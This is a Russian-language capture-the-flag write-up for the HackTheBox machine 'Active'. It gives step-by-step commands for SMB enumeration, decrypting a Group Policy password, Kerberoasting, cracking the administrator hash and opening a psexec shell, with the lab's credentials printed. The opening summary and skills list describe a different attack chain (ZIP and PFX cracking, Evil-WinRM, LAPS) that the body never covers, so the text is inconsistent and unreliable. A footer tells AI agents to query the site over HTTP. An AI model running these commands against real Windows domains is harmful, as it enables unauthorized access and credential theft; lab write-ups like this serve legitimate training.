> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md). # Разбор HackTheBox Active Разбор Easy Windows-машины HackTheBox Active, охватывающий перечисление SMB, взлом защищённого паролем ZIP-файла (fcrackzip), взлом и чтение файла .PFX (crackpkcs12), получение SSL-доступа с Evil-Wi {% embed url="" %} {% hint style="warning" %} **Навыки**: * Перечисление SMB * Взлом ZIP-файла, защищённого паролем (fcrackzip) * Взлом и чтение файла .PFX (crackpkcs12) * Получение SSL-доступа с помощью Evil-WinRM * Утечка информации — чтение истории Powershell пользователя (переход к другому пользователю) * Злоупотребление LAPS для получения паролей (Get-LAPSPasswords.ps1) (повышение привилегий) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения к VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:**/ Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts ```

**Анализ открытых портов с помощью extractport:**/ Используя функцию extractport, отобразите открытые порты в кратком формате и скопируйте их в буфер обмена.

**Сканирование версий портов с помощью Nmap :**/ Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49173 10.10.10.100 -oN targeted ```

## **Перечисление и эксплуатация :** ### **Перечисление SMB:** Используйте crackmapexec, чтобы перечислить системы и определить имя домена. ```bash crackmapexec smb 10.10.10.100 ```

#### **Настройка времени с NTP:** Настройте время на целевой машине, чтобы избежать проблем ```bash ntpdate 10.10.10.100 ```

#### Настройка /etc/hosts: Добавлен контроллер домена в файл hosts, чтобы разрешить ping:

### **Список общих ресурсов** Используйте smbclient или smbmap для исследования общих ресурсов в сети. ```bash smbclient -L 10.10.10.100 -N ```

```bash smbmap -H 10.10.10.100 ```

### **Поиск конкретных файлов**: Исследуйте каталоги в поисках подходящих файлов ```bash smbmap -H 10.10.10.100 -r Replication ```

```bash smbmap -H 10.10.10.100 -r Replication/active.htb ```

Эта `groups.xml` Обнаружен файл, который может содержать конфиденциальную информацию. ```bash smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml ```

### **Расшифровка пароля:** Используйте `gpp-decrypt` для расшифровки сохранённых паролей. ```bash gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' ```

### **Проверка идентификаторов:** Используйте crackmapexec, чтобы проверить, действительны ли идентификаторы ```bash crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' ```

### **Изучение разрешений:** Используйте crackmapexec и smbmap для изучения разрешений на сетевых общих ресурсах. ```bash crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares ```

### Получен флаг user.txt: ```bash smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users ```

### **Вход на контроллер домена:** Использование rpcclient для подключения к контроллеру домена и изучения пользователей и групп: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 ```

#### - Чтобы определить участников группы администраторов: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querygroupmem 0x200' ``` #### - Чтобы получить пользователей в конкретной группе: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'queryuser 0x1f4' ```

#### - Чтобы вывести описания всех пользователей: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querydispinfo' ```

## Уязвимость [Kerberoast](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast): Уязвимость Kerberoast успешно эксплуатируется с помощью следующей команды: ```bash GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 ``` Эта команда получает служебный билет Grant-Ticketing Service (TGS), который использует уязвимость. Затем, чтобы получить хэш администратора, к команде добавляется параметр -request: ```bash GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request ```

## **Финальная эксплуатация:** ### **Взлом хэша:** Используйте John, чтобы попытаться взломать полученные хэши. ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

### **Проверка идентификаторов:** Используйте crackmapexec для проверки полученных учетных данных ```bash crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968' ```

### **Выполнение Psexec:** Используйте psexec.py, чтобы получить интерактивную оболочку от имени администратора. ```bash psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe ```

### **Получен финальный флаг:** Успешное получение финального флага после получения доступа администратора.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.